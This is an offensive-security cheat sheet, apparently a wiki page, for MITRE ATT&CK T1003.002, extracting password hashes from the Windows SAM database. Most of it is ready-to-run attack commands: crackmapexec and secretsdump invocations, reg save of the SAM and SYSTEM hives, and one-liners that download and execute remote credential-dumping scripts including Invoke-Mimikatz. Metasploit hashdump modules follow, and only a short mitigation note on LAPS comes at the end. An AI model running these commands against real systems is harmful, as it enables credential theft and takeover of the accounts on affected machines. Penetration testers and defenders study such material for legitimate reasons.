Security Account Manager (SAM)

https://attack.mitre.org/techniques/T1003/002/

ATT&CK ID: T1003.002

Permissions Required: SYSTEM

Description

Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.

Linux Techniques

Crackmapexec

crackmapexec smb <IP> -u <User> -p <Password> --sam

# Use the local-auth parameter when authenticating as a local account
crackmapexec smb <IP> -u <User> -p <Password> --sam --local-auth

Secretsdump

# Dump from SAM and SYSTEM. Ensure files are in current working directory
secretsdump.py -sam SAM -system SYSTEM LOCAL 

Windows Techniques

# Manually save SAM and SYSTEM files (if needed for any tools below)
reg save HKLM\SAM c:\Exfiltration\SAM
reg save HKLM\SYSTEM c:\Exfiltration\SYSTEM

DumpSam

This tool will filter out some default accounts such as Guest and the wdagutilityaccount account from the results.

Github: https://github.com/The-Viper-One/PME-Scripts/blob/main/DumpSAM.ps1

# Download and execute
IEX (IWR -UseBasicParsing https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/DumpSAM.ps1)

HiveDump

Github: https://github.com/tmenochet/PowerDump/blob/master/HiveDump.ps1

# Load into memory
iex (iwr -UseBasicParsing https://raw.githubusercontent.com/tmenochet/PowerDump/master/HiveDump.ps1)

# Dump
Invoke-HiveDump

Mimikatz

Github: https://github.com/BC-SECURITY/Empire/blob/main/empire/test/data/module_source/credentials/Invoke-Mimikatz.ps1

# Load into memory
IEX (IWR -UseBasicParsing "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1")

# Dump from SAM and SYSTEM. Enusre files are in current working directory
Invoke-Mimikatz -command "lsadump::sam /system:SYSTEM /sam:SAM"

# Dump against the live hive files
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

Metasploit

# Modules
use post/windows/gather/hashdump
use post/windows/gather/credentials/credential_collector

# Meterpreter Shell
hashdump

# Extension:Kiwi
lsa_dump_s

Mitigation

LAPS

The "Local Administrator Password Solution" (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.

Restrict NTLM Traffic

Last updated